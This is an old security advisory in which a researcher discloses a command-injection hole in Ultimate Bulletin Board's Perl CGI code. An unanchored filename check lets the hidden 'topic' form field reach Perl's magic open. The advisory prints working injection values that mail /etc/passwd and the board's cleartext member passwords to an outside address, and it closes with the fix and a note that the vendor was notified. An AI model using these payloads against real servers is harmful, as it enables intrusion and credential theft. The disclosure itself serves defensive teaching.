ultimatebb.txt

`Hello.  
  
Writing cgi scripts in perl is simple. It's also rather safe,  
providing authors follow very simple instructions. But they don't.  
  
Browsing some site, I found that their forums were based not on home-  
made scripts, but rather commercial software product. Hey, said I to  
myself, remember those story about pcweek hack ? They use commercial  
package photoads. Let's look what that Ultimate Bulletin Board by  
Infopop is.  
  
I grabbed freeware version from http://www.ultimatebb.com and  
after 10-minutes grepping found those lines:  
  
ubb_library.pl:901-902  
if ($ThreadFile =~ /\d\d\d\d\d\d\.ubb/) {  
open (MESSAGE, "$ForumsPath/Forum$number/$ThreadFile");  
  
(notice? not /^\d\d\d\d\d\d\.ubb$/. What did the author think about while  
writing it ? Girls ?)  
  
And the $ThreadFile takes its value directly from the hidden (hmm!)  
field `topic'.  
  
So when I filled the form with  
topic='012345.ubb|mail [email protected] </etc/passwd|'  
It happily gives me /etc/passwd. And  
topic='012345.ubb|cat Members/*|mail [email protected]|'  
shows all users of bulletin board, and their passwords too (in cleartext!).  
  
So one should only open "reply" form in the forum, save it to disk,  
and set topic field to whatever he want. And this stupid UBB (at least  
freeware version) doesn't keep the logs (unless, so-called, hacklog,  
used when the condition above is not met).  
  
The fix is obvious. But the rule of the thumb is "do not use magic perl open".  
At least in cgi scripts. If you want to open regular file, sysopen does  
the trick as well.  
  
And again: CHECK EVERYTHING!  
  
Regards,  
SerG.  
  
P.S. Vendor was notified.  
  
  
`